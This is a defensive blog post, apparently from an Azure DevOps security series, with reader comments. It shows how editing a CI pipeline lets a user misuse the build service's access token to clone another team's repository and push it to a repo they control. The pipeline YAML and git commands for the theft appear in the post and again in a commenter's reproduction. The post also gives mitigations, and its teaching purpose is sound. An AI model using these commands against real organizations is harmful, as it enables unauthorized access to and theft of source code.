Let’s Hack a Pipeline: Stealing Another Repo
We’re back with another Let’s Hack a Pipeline. Last time, we saw how to create – and prevent – argument injection. In this episode, we’ll look at how a malicious user could access source code they shouldn’t see. Welcome to Episode II: Stealing Another Repo. (Episode III is now available, too!)
As I said before: security is a shared responsibility. The purpose of this series is to showcase some pitfalls to help you avoid them. I can’t possibly cover every single angle, and examples have been simplified to make the point.
The setup
In a large company, there are probably some code repos I’m not allowed to see. Even inside Microsoft, which has a pretty open culture, someone from Game Studio A usually can’t see what Game Studio B is working on. But their build system can!
Let’s say we’ve got two team projects inside one Azure DevOps organization. Each of those projects has one or more Git repos. And let’s say I’m on the Popular FPS Game team, which has a daily CI pipeline for our upcoming release, “Popular FPS Game: Sequel”.
The fabrikam-game-studios organization has these objects:
Project: Popular FPS Game
- Repo:
popular-fps-game - Repo:
popular-fps-game-sequel - Pipeline:
sequel-ci
- Project: Beautiful Racing Game
- Repo:
beautiful-racing-game
Project: Popular FPS Game
Repo: 
Pipeline: # sequel-ci.yml
pool: { vmImage: ubuntu-latest }
steps:
- script: |
make game
make test
The attack
I’m really curious what my colleagues on Beautiful Racing Game are working on. But I don’t have access to their source code. No problem, I’ll ask Azure Pipelines to get it for me.
I create a new branch in popular-fps-game-sequel and edit the pipeline:
# sequel-ci.yml, edited
pool: { vmImage: ubuntu-latest }
steps:
- script: |
git clone -c http.extraheader="AUTHORIZATION: bearer $(System.AccessToken)" \
https://fabrikam-game-studios@dev.azure.com/fabrikam-game-studios/beautiful-racing-game/_git/beautiful-racing-game
cd beautiful-racing-game
git remote add steal https://fabrikam-game-studios@dev.azure.com/fabrikam-game-studios/popular-fps-game-sequel/_git/stolen-source
git push -c http.extraheader="AUTHORIZATION: bearer $(System.AccessToken)" -u steal --all
By queuing that pipeline (and creating an empty repo at stolen-source), I can peruse their code without restriction.
Why this works
When a pipeline is assigned to an agent, that agent needs to be able to fetch the source code. The server generates a token for the “build service identity”, an artificial identity created for this purpose. The identity has access to all repositories by default.
History
The build service identity was originally an org-wide concept (back in the TFVC days, this was called “collection scope”) and later gained a per-project version. In the above example, the pipeline is running with collection scope, so it can traverse across to another project.
Editing pipelines is powerful
The attacker was able to control an identity with more access than that user’s identity. With config-as-code, the ability to push code is suddenly equivalent to a lot more things. In this case, it grants the effectively “edit the pipeline”. And editing the pipeline means you can ask the Azure Pipelines system to do malicious things using its credentials.
Permissions like Create pipeline and Edit pipeline are more powerful than they seem at first glance. Build systems often have privileged access (so they can do their job), so you have to carefully consider who can command the build system.
Related hacks
An addition to this attack would include listing all repositories using the REST API. Going the opposite direction, someone from the Beautiful Racing Game team could list all the repos in popular-fps-game. They’d discover that Popular FPS Game is getting a sequel!
Mitigating repo stealing
Azure Pipelines has two controls which restrict what the build service identity can access.
Use project scope
Make pipelines run with project scope by turning on “Limit job authorization scope”. While this can be enabled at the project level, that won’t protect a project’s resources from rogue pipelines in another project.
We recommend enabling this at the organization level. Also, we recommend treating the project as a single security boundary, rather than locking down individual repos.
Lock down what repositories can be seen
Azure Pipelines can generate a token which only grants access to named repositories in Azure Repos. With this setting enabled, in order to access a repository, it must be mentioned in the resources section of the pipeline. When a new repository is added to a pipeline, Azure Pipelines will not automatically run the job. It’ll pause and await one-time authorization from someone who already has read access to the repository.
Review
The build service identities can have more access than a typical user. When a user is able to control the pipeline definition, that user can escalate their own privileges. Use the controls available in Azure Pipelines to prevent this attack.
Light
Dark
9 comments
Really loving this series thank you.
One thing that’s maybe missing is permission chat related to the above settings.
What permission is that for allowing to edit those settings, presumably different from edit pipeline?
I believe it’s “Administer build resource permissions” (or another of the org-level, very-high-privilege permissions). I’ll see if I can get confirmation on that.
Edit: it’s “Manage build resources” that you need.
i love this types of mini-series, keep going 🙂
Thanks! There are a few more brewing, though I’m not sure when I’ll have time to complete them. Glad to know you enjoyed the series.
I’m playing around with this, trying to replicate it in my local sandbox instance (AzureDevOps2019.Update1.1 – patch 3). I’m having some trouble though…
I created 2 new projects and cloned some simple repos into them…but when I try and clone the “Target” repo back into my “Source” project I get the following errors…
Any assistance would be appreciated. Thanks.
That’s strange on a couple of levels. The first error sounds like it can’t clone the repo, but then the second error makes it sound like you’ve already cloned the repo and added the additional remote. Maybe try adding
workspace: { clean: all }to the pipeline so you get a fresh workspace each time?Thanks Matt.
Still getting the same error though.
It strikes me as odd that it’s “cloning into” the Project that I actually want to steal the code from? Shouldn’t it be cloning “from” the target “into” the source?…unless I’m just missing the meaning there.
Kind Regards.
DB
Well, clone only pulls down the repo from the server to the local filesystem (in this case, on the agent).
A thought occurred to me: there are actually 3 server-side repos in play here. There’s (A) the repo you’re supposed to have access to, (B) the repo you’re not supposed to have access to, and (C) a third, empty one. You’re using a pipeline attached to A to steal B and then push it up into C. I wonder if there’s been a mixup and you’re accidentally trying to push up A?
Hi Matt.
Thanks for your help so far. Here’s my structure…
A) Repo I have access to – “SecuritySource”
B) Repo I’m trying to steal from – “SecurityTarget”
C) Repo I’m trying to push the code into – “stolen-source” which is in the same project as “SecuritySource”
My yaml pipeline looks like this…
steps: - script: | git clone -c http.extraheader="AUTHORIZATION: bearer $(System.AccessToken)"\ http://xxx/DefaultCollection/SecurityTarget/_git/SecurityTarget cd SecurityTarget git remote add steal http://xxx/DefaultCollection/SecuritySource/_git/stolen-source git push -c http.extraheader="AUTHORIZATION: bearer $(System.AccessToken)" -u steal --all